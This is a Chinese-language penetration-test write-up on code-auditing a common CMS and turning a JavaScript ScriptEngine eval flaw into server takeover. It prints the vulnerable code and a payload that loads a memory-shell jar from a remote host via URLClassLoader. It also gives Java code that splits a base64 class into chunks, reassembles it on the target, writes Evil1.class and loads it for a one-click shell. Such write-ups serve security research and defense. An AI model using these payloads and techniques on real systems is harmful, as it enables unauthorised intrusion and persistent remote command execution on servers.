一次代码审计打点

admin 2022年4月23日02:23:54一次代码审计打点已关闭评论52 views字数 3523阅读11分44秒阅读模式

前言

在一次攻防项目中遇到了一个站点,看着有点通用cms的样子,于是去资产测绘平台发现存在上千个资产,当时就想着看看资产测绘平台上的资产是否有存在源码泄露然而并没有,后续便通过网盘找到对应的系统安装包进行漏洞挖掘,于是便有了这篇文章,*由于作者水平有限,文章如有错误欢迎指出。***

本次WEB打点分为以下2个大的步骤

  • 通过网盘搜索系统源码安装包进行漏洞挖掘
  • 利用代码执行漏洞分块传输拿下服务器权限

漏洞挖掘

找源码的过程就忽略了相信师傅们都比我会,当我拿到源码安装包并安装好了,发现目标服务器是tomcat7,所使用的jdk版本为1.7.0_79,拖取代码到本地IDEA进行远程debug调试

一次代码审计打点

通过漫长无聊的挖洞分析环节,我发现存在一个前台的js ScriptEngineManager代码执行漏洞(**漏洞函数关键字代码、参数已替换 )代码很简单通过json格式传参,其中123这个key对应的value就是我们的**代码执行触发点

String jsonStr2 = this.getParams(request);
byte[] bytes = jsonStr2.getBytes();
String jsonStr = new String(bytes, "UTF-8");
JSONObject obj = JSONObject.fromObject(jsonStr);
String 123 = obj.getString("123");
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(123);

于是乎尝试开始使用bcel去加载延时poc,测试线上目标漏洞是否存在,很开心成功延时15秒,证明漏洞是存在的

一次代码审计打点

*于是乎我开始直接尝试利用bcel去加载tomcat内存马的class,发现报错了提示语法错误,通过返回包显示识别到了开头的 **{ * 未识别到末尾的 }

一次代码审计打点

这让我一度怀疑是数据传输不完整

果不其然,我在debug环境测试,发现后端接受到的数据只到了下图黄标处,导致数据接受不完整,内存马注入失败。

一次代码审计打点

一次代码审计打点

针对这种情况我暂时想到了如下思路:

1. 利用urlclassloader来加载远程jar,数据包较小,缺点是必须出网
2. 字节码payload的压缩,感觉在实战中不止执行一个calc,而是要执行内存马class,感觉很难缩小到后端接收到的数据大小,遂放弃
3. 发送数据包将内存马class分段写入到远程服务器上的某文件中,文件写入完成后进行数据包的整合,最后使用urlclassloader来进行加载写入的文件,这种方法缺点是文件可能需要落地,优点是不出网。

urlclassloader远程加载jar

这种方法数据包很小是能够执行内存马文件,但是我在实际测试中发现网络上提供的script代码注入师傅们大多数提供的poc都为:

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.56.139:8080/yxxx.jar")}).loadClass("xxxx").newInstance()

然后我本地测试一直报这个错误

一次代码审计打点

最后我转成array数组形式,成功执行且注入内存马成功

var arr2 = new Array();arr2[0]=new java.net.URL('http://192.168.56.139:8080/TomcatListenerMemshell.jar');new java.net.URLClassLoader(arr2).loadClass('TomcatListenerMemshell').newInstance()

这边采用的内存马为tomcat Listener内存马,内存马关键最关键的获取STANDARD_CONTEXT主要步骤为

currentThread -> threadGroup ->
for(threads) -> target -> this$0 -> handler -> global ->
for(processors) -> req -> getNote -> request

一次代码审计打点

成功执行命令whoami

一次代码审计打点

分块传输

笔者感觉实战测试中分块传输注意事项大概如下几点:

1.目标服务器jdk版本,不同Jdk版本 bas64解码api可能不一样
2.如何分块文件,如何合并文件
2.如何确保分块数据传输的完整性

首先是如何分块文件,我要上传的文件内容为我的内存马class base64后的数据,经过不断fuzz了解到目标服务器能获取到的数据长度为450,现在要做的是如何分割字符串?可能大家会觉得按字节截取字符串分割子串还不简单吗?直接str.getBytes()后对字节数组下标分段为子字节数组就好啦,但是按字节截取字符串实际上是存在一个问题,就是如果截取的位置正好是该字符编码的中间位置就会导致这个字符成为乱码!由于编码格式不同,直接截取可能会拿到一个被砍一半的乱码,如utf-8 4byte 一个中文,如果截取的时候是5byte,就会出现乱码

我这边采用的是这种方法,大致原理为先按字节数组进行截取,获得一个长度不大于固定截取长度的字节数组,把字节数组转字符串得到一个新子串,再转byte数组后,两数组长度进行比较(新子串再转byte数组时,会对截取了一半的字符进行补全为对应编码集一个字符的长度)如果新子串的字节数组比按长度截取的子串字节数组长,说明存在截取一半的字符,这个字符会在最后一个位置,要舍弃,所以,新子串按字符串长度截取减少1位,得到的字符串就是没有截取一半的字符,且长度小于等于需要的字节长度的子串

一次代码审计打点

拿到分割后的字符串全部写入文件中

一次代码审计打点

得到了总共37个分块后的文件

一次代码审计打点

分块完成了,那么我们就需要如何合并文件呢?

我这边采用的是循坏找目录下生成的bin文件,若文件缺失合成文件将会失败,若都存在就成功合并文件内容为all.bin

```
try {
int filename = 35;
String FileOut= System.getProperty("java.io.tmpdir") + File.separator + "all.bin";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < filename + 1; i++) {
String path = System.getProperty("java.io.tmpdir") + File.separator + i + ".bin";
FileInputStream fis = new FileInputStream(path);
byte[] bytes = new byte[400];
fis.read(bytes);
sb.append(new String(bytes));
fis.close();
}
FileOutputStream fos = new FileOutputStream(FileOut);
fos.write(sb.toString().getBytes());
fos.close();
}catch (Exception ignore){

    }

```

文件合并完成之后,就需要将文件转成解码为class文件存入Evil1.class,服务器jdk版本为1.7 ,采用以下进行解码

static {
try {
String path = System.getProperty("java.io.tmpdir") + File.separator + "all.bin";
File file = new File(path);
FileInputStream fis = new FileInputStream(path);
int size = (int) file.length();
byte[] data = new byte[size];
fis.read(data);
// 写入Evil.class
FileOutputStream fos = new FileOutputStream("C:\\users\\public\\Evil1.class");
fos.write(new BASE64Decoder().decodeBuffer(new String(data)));
fos.close();
}catch (IOException e) {
}

class文件生成之后利用urlclassloader去加载文件,即可成功加载内存马字节码,

一次代码审计打点

成功注入内存马执行命令

一次代码审计打点

最后整个过程利用工具实现自动化,成功一键getshell

一次代码审计打点

结尾

欢迎关注作者公众号,我们主要分享代码审计、实战系列文章

一次代码审计打点

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:23:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次代码审计打点http://cn-sec.com/archives/917278.html